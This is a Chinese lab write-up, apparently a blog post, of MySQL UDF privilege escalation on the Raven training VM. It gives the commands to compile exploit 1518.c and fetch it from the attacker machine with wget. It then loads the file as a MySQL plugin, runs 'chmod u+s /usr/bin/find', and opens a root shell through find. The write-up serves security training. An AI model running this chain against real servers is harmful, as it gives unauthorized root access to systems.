UDF提权(linux)

实验环境:

RAVEN靶场:链接:百度网盘 请输入提取码

提取码:g6oz

攻击机:kali 2023.3    IP:192.168.126.142

关于UDF提权,需要满足的条件是

1.数据库管理员权限运行
#如果权限过低,无法执行系统命令,无法提权
2.数据库的版本信息不高于 5.5.6

查看满足条件

1》show global variables like '%secure_file_priv%';
或 show variables like '%secure%';
#这里需要是空值或者是plugin所在的目录,不能是null值
#secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
#secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
#secure_file_priv 的值没有具体值时,表示不对  mysqld 的导入|导出做限制,此时可提权
2》show variables like '%plugin%';
查看插件的位置,将动态连接文件导入到此目录

实操:

1.查询udf可利用的c程序,将1518.c保存到当前目录

searchsploit -m 1518.c

2.查看使用说明;大概就是将程序进行gcc编译,然后再登录mysql进行创建一个表,插入.so文件,创建自定义函数进行越权操作。

3.进行编译

gcc -g -c 1518.c
gcc -g -shared -o udf.so 1518.o -lc
-g  生成调试信息
-c  编译(二进制)
-shared 创建一个动态链接库,输入文件是源文件,汇编文件或者目标文件

-o  执行命令后的文件名
-lc  -l  库   -c  库名

python3 -m http.server

#用python开启http服务

4.将编译好的.so文件进行上传靶机,进行登录数据库

wget http://192.168.126.142:8000/udf.so

mysql -uroot -pR@v3nSecurity

show databases;

use mysql

5.查看udf提权的必要条件,看插件位置

show global variables like '%secure_file_priv%';

show variables like '%plugin%';

6.开始提权操作:

create table foo(line blob);

#创建一张临时表用来存放DLL/OS文件的16进制内容

insert into foo values(load_file('/tmp/udf.so'));

#插入udf.so文件(foo是占位符,没有任何意义)

select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';

#利用dumpfile函数把文件导出

create function do_system returns integer soname 'udf.so';

#创建自定义函数do_system,类型是integer,别名(soname)文件名字

select * from mysql.func;

#查询函数是否创建成功

select do_system('chmod u+s /usr/bin/find');

#调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令, 0代表执行成功 。

exit

7.执行命令,成功提权。

touch udf

find udf -exec "/bin/sh" \;

find udf -exec "id" \;

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值